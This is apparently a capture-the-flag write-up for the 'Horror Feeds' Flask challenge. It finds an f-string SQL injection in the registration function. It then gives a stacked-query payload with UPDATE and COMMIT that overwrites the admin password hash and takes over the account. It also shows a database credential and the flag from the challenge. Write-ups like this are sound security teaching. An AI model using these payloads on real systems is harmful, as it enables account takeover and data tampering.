Horror Feeds
4 minutes to read
We are given this website:
Static code analysis
We are also given the Python source code of the web application, built in Flask. Since we are dealing with a login form, let’s take a look at the database interaction (application/database.py
):
from colorama import Cursor
from application.util import generate_password_hash, verify_hash, generate_token
from flask_mysqldb import MySQL
mysql = MySQL()
def query_db(query, args=(), one=False):
with open('/tmp/log', 'a') as f:
f.write(query + '\n')
cursor = mysql.connection.cursor()
cursor.execute(query, args)
rv = [dict((cursor.description[idx][0], value)
for idx, value in enumerate(row)) for row in cursor.fetchall()]
return (rv[0] if rv else None) if one else rv
def login(username, password):
user = query_db('SELECT password FROM users WHERE username = %s', (username,), one=True)
if user:
password_check = verify_hash(password, user.get('password'))
if password_check:
token = generate_token(username)
return token
else:
return False
else:
return False
def register(username, password):
exists = query_db('SELECT * FROM users WHERE username = %s', (username,))
if exists:
return False
hashed = generate_password_hash(password)
query_db(f'INSERT INTO users (username, password) VALUES ("{username}", "{hashed}")')
mysql.connection.commit()
return True
Indeed, there’s something exploitable here.
SQL injection
The register
function is vulnerable to SQL injection, because the username
variable is inserted directly in the query, without sanitization or prepared statements (like the rest of the queries).
The vulnerability appears because we can enter a username containing a double quote and escape the context. For instance, we can use asdf", "password")-- -
as username; this would be the resulting SQL query:
INSERT INTO users (username, password) VALUES ("asdf", "password")-- -", "{hashed}")
Taking a look at entrypoint.sh
, we can see how the database is configured:
#!/bin/ash
# Secure entrypoint
chmod 600 /entrypoint.sh
# Initialize & Start MariaDB
mkdir -p /run/mysqld
chown -R mysql:mysql /run/mysqld
mysql_install_db --user=mysql --ldata=/var/lib/mysql
mysqld --user=mysql --console --skip-networking=0 &
# Wait for mysql to start
while ! mysqladmin ping -h'localhost' --silent; do echo 'not up' && sleep .2; done
mysql -u root << EOF
CREATE DATABASE horror_feeds;
CREATE TABLE horror_feeds.users (
id INTEGER PRIMARY KEY AUTO_INCREMENT,
username varchar(255) NOT NULL UNIQUE,
password varchar(255) NOT NULL
);
INSERT INTO horror_feeds.users (username, password) VALUES ('admin', '$2a$12$BHVtAvXDP1xgjkGEoeqRTu2y4mycnpd6If0j/WbP0PCjwW4CKdq6G');
CREATE USER 'user'@'localhost' IDENTIFIED BY 'M@k3l@R!d3s$';
GRANT SELECT, INSERT, UPDATE ON horror_feeds.users TO 'user'@'localhost';
FLUSH PRIVILEGES;
EOF
/usr/bin/supervisord -c /etc/supervisord.conf
So the database user is able to use SELECT
, INSERT
and UPDATE
. Moreover, USERNAME
attribute must be unique.
Hash function
The server uses bcrypt
to compute the password hashes (application/util.py
):
def generate_password_hash(password):
salt = bcrypt.gensalt()
return bcrypt.hashpw(password.encode(), salt).decode()
def verify_hash(password, passhash):
return bcrypt.checkpw(password.encode(), passhash.encode())
Let’s compute a hash for asdf
:
$ python3 -q
>>> import bcrypt
>>> bcrypt.hashpw(b'asdf', bcrypt.gensalt())
b'$2b$12$lUMUckkeJqTGd.2ffCNH/uHuqmvId5PtzayQgYX4jBsYE6RUSFiNO'
Exploitation
The flag will be shown as long as we authenticate as admin
(which is already stored in the database, with an unknown password):
{% if user == 'admin' %}
<div class="container-lg mt-5 pt-5">
<h5 class="m-3 ms-0">Firmware Settings</h5>
<h6 class="m-4 ms-0 text-grey">Upgrade Firmware</h6>
<div class="d-flex align-items-center">
<img src="/static/images/folder.png" height="25px" class="sw-img">
<span class="fw-bold sw-text">Software Folder</span>
<input type="text" class="form-control sw-path" value="/opt/horrorfeeds/Firmware/" disabled>
</div>
<table class="table table-hover fw-table text-center">
<!-- ... -->
<tr class="table-active">
<th>
<input class="form-check-input fw-cam-radio" type="checkbox" checked disabled>
</th>
<td>5</td>
<td>192.251.68.6</td>
<td>NV360</td>
<td>{{flag}}</td>
<td></td>
<td></td>
<td>admin</td>
<!-- ... -->
</table>
<div class="d-flex justify-content-end mt-3 mb-3">
<button class="btn btn-info fw-update-btn me-3">Upgrade Selected</button>
<button class="btn btn-danger fw-update-btn">Disable Feeds</button>
</div>
</div>
{% endif %}
<!-- ... -->
So, the idea is to update the password hash for admin
, so that we can access as admin
using asdf
as password. Therefore, we must enter the following payload as username:
x", "x"); UPDATE users SET password="$2b$12$lUMUckkeJqTGd.2ffCNH/uHuqmvId5PtzayQgYX4jBsYE6RUSFiNO"-- -
So that the SQL query is:
INSERT INTO users (username, password) VALUES ("x", "x"); UPDATE users SET password="$2b$12$lUMUckkeJqTGd.2ffCNH/uHuqmvId5PtzayQgYX4jBsYE6RUSFiNO"-- -", "{hashed}")
Nevertheless, the above payload is not complete. The UPDATE
statement won’t be executed because of how SQL transactions work. By default, a single query must perform a single operation on the database (ACID model). In order to force the UPDATE
statement, we must enter COMMIT
at the end:
x", "x"); UPDATE users SET password="$2b$12$lUMUckkeJqTGd.2ffCNH/uHuqmvId5PtzayQgYX4jBsYE6RUSFiNO"; COMMIT-- -
After that, we can access as admin
using asdf
as password:
Flag
And there we have the flag (HTB{1ns3rt_int0_sql1_1s_ind33d_w0rs3_th4n_s3l3ct!!}
):